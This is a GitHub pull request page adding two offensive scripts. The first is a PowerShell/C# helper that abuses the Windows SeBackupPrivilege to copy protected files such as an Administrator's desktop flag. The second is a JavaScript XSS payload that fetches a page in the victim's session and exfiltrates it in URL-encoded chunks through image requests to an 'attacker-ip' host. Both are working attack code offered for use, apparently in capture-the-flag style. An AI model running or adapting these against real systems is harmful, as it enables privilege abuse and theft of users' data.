Skip to content

more helpful scripts #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions SEBACKUPprivilege.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
# this script can help u abusing SEBACKUPprivilege on windows, by allowing u to copy any file
# Usage:
#1- copy and pase this in ur powershell terminal and then:
# [BackupCopy]::Copy("C:\Users\Administrator\Desktop\root.txt", "C:\Temp\root-copy.txt")
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class BackupCopy {
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr SecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);

public static void Copy(string source, string dest) {
const uint GENERIC_READ = 0x80000000;
const uint FILE_SHARE_READ = 0x00000001;
const uint OPEN_EXISTING = 3;
const uint FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;

var handle = CreateFile(source, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero);
if (handle.IsInvalid)
throw new IOException("Access denied or file not found: " + source);

using (var fs = new FileStream(handle, FileAccess.Read))
using (var outFile = new FileStream(dest, FileMode.Create, FileAccess.Write)) {
fs.CopyTo(outFile);
}
}
}
"@

17 changes: 17 additions & 0 deletions xss-data-extract2.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
// this can help bypassing CORS (make sure to host this script on https server in the real world)

let html = "";

fetch("/path/to/page/u-want-to-extract/")
.then(res => res.text())
.then(data => {
html = data;

// Chunk and exfil using image requests
const chunks = html.match(/.{1,1500}/gs); // ~1.5KB safe chunk size
chunks.forEach((chunk, i) => {
new Image().src = `https://attacker-ip/?part=${i}&data=` + encodeURIComponent(chunk);
});
});

// this will extract the page in url encoded chunks (GET safe)